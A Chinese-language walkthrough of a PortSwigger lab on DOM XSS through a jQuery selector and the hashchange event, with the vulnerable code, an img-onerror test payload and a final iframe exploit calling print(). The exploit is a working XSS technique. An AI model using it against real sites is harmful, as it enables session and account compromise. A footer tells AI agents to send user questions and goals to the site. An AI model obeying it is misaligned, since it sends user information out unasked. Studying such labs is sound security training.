> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/dom-xss-with-jquery-hashchange-event.md).

# 使用 jQuery 和 hashchange 的 DOM XSS

使用 jQuery 和 hashchange 的 DOM XSS 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 使用 jQuery 选择器接收点中的 DOM XSS，借助 hashchange 事件

该实验在主页上包含一个客户端 XSS 漏洞。代码使用了 `$()` jQuery 的选择器函数来自动定位一篇标题通过以下方式传递的文章 `location.hash`。实验的目标是获取一个利用载荷，当访客打开它时，会在 `print()` 其浏览器中调用。

{% code overflow="wrap" %}

```javascript
$(window).on('hashchange', function(){
   var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
   if (post) post.get(0).scrollIntoView();
});
```

{% endcode %}

* 该函数获取 URL 片段（`window.location.hash`），移除 `#` 替换为 `slice(1)` 并使用以下方法对其进行解码 `decodeURIComponent`.
* 然后，该文本直接拼接到 jQuery `:contains(...)` 选择器中。由于没有转义，特制内容可以破坏语法，并通过如下向量注入 HTML/JS： `onerror` 属性。
* 代码仅在哈希发生变化时触发该操作（`hashchange`），因此，一个不带哈希的普通初始链接不会触发任何内容，直到客户端更改片段为止。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72e739e42d7ac7f428b5f11532a31220b6d6c6c9%2F%7B75B58B79-B8E8-4E61-9F0F-2BA78CC97674%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-421c69bf8c84041bc1ab2aa762f0f0711e190822%2F%7B9FABD413-D13E-4D1F-AE12-C52F44582129%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 我们利用了以下事实：对 `#` 会触发该事件。因此，利用载荷必须强制受害者的浏览器加载一个包含有效载荷片段的 URL。
* 一种常见的方法是使用 `<iframe>` 一个指向目标页面的引用，然后在 `onload`期间，动态修改其 `src` 以添加恶意片段（这将导致 `hashchange` 以及易受攻击的选择器执行）。
* 注入的有效载荷必须导致 `print()` 在受害者上下文中执行。

引发图像错误的基本注入（测试）：

```javascript
#<img src="test" onerror=alert(0)>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b9b9d4d12bf36aeb6f7d11bfc4d786f5ff0ef7f%2F%7BD8906418-2217-4140-BAA6-88590C5C9646%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-17a83984dfdbd1ca905175f7bb85234dfc819fbb%2F%7BDF13872F-5551-449B-BD26-9FC153B38BE5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 通过 iframe 利用——第一个版本（alert）：

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=alert(0)>'"></iframe>
```

{% endcode %}

* 最终利用载荷： `print()` （改编版本）：

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=print()>'"></iframe>
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3cd6b8714467f009d04945cec7567ed5aa6722ac%2F%7B1098B7F6-49F7-4AB7-9300-F0E5029C0F16%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/dom-xss-with-jquery-hashchange-event.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
